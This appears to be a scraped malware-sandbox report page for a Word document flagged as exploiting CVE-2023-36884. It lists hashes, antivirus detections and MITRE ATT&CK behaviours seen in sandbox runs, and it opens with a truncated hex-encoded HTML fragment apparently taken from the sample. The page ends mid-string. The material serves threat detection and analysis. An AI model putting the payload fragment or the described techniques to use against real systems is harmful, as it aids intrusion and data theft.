==>3C68746D6C3E3C626F6479206F6E6C6F61643D73657454696D656F7574282766782829272C3330303030293E3C696672616D65207372633D66696C653A2F2F31.......44:T938,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30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794073108431,"unified_at":"2026-11-07T17:38:28.431Z","metadata":{"hashes":{"sha256":"a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f","sha1":"2400b169ee2c38ac146c67408debc9b4fa4fca5f","md5":"d227874863036b8e73a3894a19bd25a0","sha512":"5304a8f4fce0718df717e67b0c91b3aef670f8fa226ee49dc23b72bb677301d310016626433ee8336f393f2afc92609f6c69c99862055c71316bef3f762714ed","ssdeep":"3072:l7+cULFyt0l7P8trDG5CL1WvRC5pugMExFAiWRXlV:lPrtWuK5C8vE5puiFAimlV","ssdeep_chunks":["3072:l7+cULF","3072:7+cULFy","3072:+cULFyt","3072:cULFyt0","3072:ULFyt0l","3072:LFyt0l7","3072:Fyt0l7P","3072:yt0l7P8","3072:t0l7P8t","3072:0l7P8tr","3072:l7P8trD","3072:7P8trDG","3072:P8trDG5","3072:8trDG5C","3072:trDG5CL","3072:rDG5CL1","3072:DG5CL1W","3072:G5CL1Wv","3072:5CL1WvR","3072:CL1WvRC","3072:L1WvRC5","3072:1WvRC5p","3072:WvRC5pu","3072:vRC5pug","3072:RC5pugM","3072:C5pugME","3072:5pugMEx","3072:pugMExF","3072:ugMExFA","3072:gMExFAi","3072:MExFAiW","3072:ExFAiWR","3072:xFAiWRX","3072:FAiWRXl","3072:AiWRXlV","6144:l7+cULF","6144:7+cULFy","6144:+cULFyt","6144:cULFyt0","6144:ULFyt0l","6144:LFyt0l7","6144:Fyt0l7P","6144:yt0l7P8","6144:t0l7P8t","6144:0l7P8tr","6144:l7P8trD","6144:7P8trDG","6144:P8trDG5","6144:8trDG5C","6144:trDG5CL","6144:rDG5CL1","6144:DG5CL1W","6144:G5CL1Wv","6144:5CL1WvR","6144:CL1WvRC","6144:L1WvRC5","6144:1WvRC5p","6144:WvRC5pu","6144:vRC5pug","6144:RC5pugM","6144:C5pugME","6144:5pugMEx","6144:pugMExF","6144:ugMExFA","6144:gMExFAi","6144:MExFAiW","6144:ExFAiWR","6144:xFAiWRX","6144:FAiWRXl","6144:AiWRXlV","3072:lPrtWuK","3072:PrtWuK5","3072:rtWuK5C","3072:tWuK5C8","3072:WuK5C8v","3072:uK5C8vE","3072:K5C8vE5","3072:5C8vE5p","3072:C8vE5pu","3072:8vE5pui","3072:vE5puiF","3072:E5puiFA","3072:5puiFAi","3072:puiFAim","3072:uiFAiml","3072:iFAimlV"],"imphash":"Unknown"},"file_info":{"file_name":"Overview_of_UWCs_UkraineInNATO_campaign.docx.doc","file_type":["docx","office"],"file_type_id":"docx","file_size":120614,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1688388015000,"last_seen":1765803484000,"last_multi_scan":1765803484000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["exploit","evasive"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":33},"sandbox_signatures":{"informative_count":59,"suspicious_count":9,"malicious_count":7,"total":75},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Exploit.CVE-2023-36884.A trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Genericexploit.f","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CVE-2023-36884","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Lateral Movement","technique":"SMB/Windows Admin Shares","attack_id":"T1021.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/002","identifiers":[{"type":"malicious","value":"Sends network traffic on the SMB port"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Tries to open documents files"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"},{"type":"informative","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to open a HTTP requests"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"References HTTP requests in memory"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"malicious","value":"GETs files from a webserver"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Calls an API typically used to create a HTTP or FTP session"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"64afd753c106a6b4e2092cd1"},{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to set the date and time of the file"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","identifiers":[{"type":"informative","value":"Drops image files with high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"67bdc952999ee3a8c704906d"},{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Opens a handle to the specified process"}],"sources":[{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"},{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"67bdc8ee4ce3df3bc30d85d2"},{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"67bdc8fc4ce3df3bc30d85df"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"References JavaScript(s)"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains NTDLL native APIs"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Contains ability to decrypt/decode data"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"suspicious","value":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found system commands related strings"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Uses bzip2 compression library to compress data"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64abb53af3f11378b8059c1b"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - X=PjS2/BX1zuMlLis-?wIDATb6Rg#cHS\" (Indicator: \"text/javascript\"; File: \"dnserrordiagoff_1_\")\n Found string \"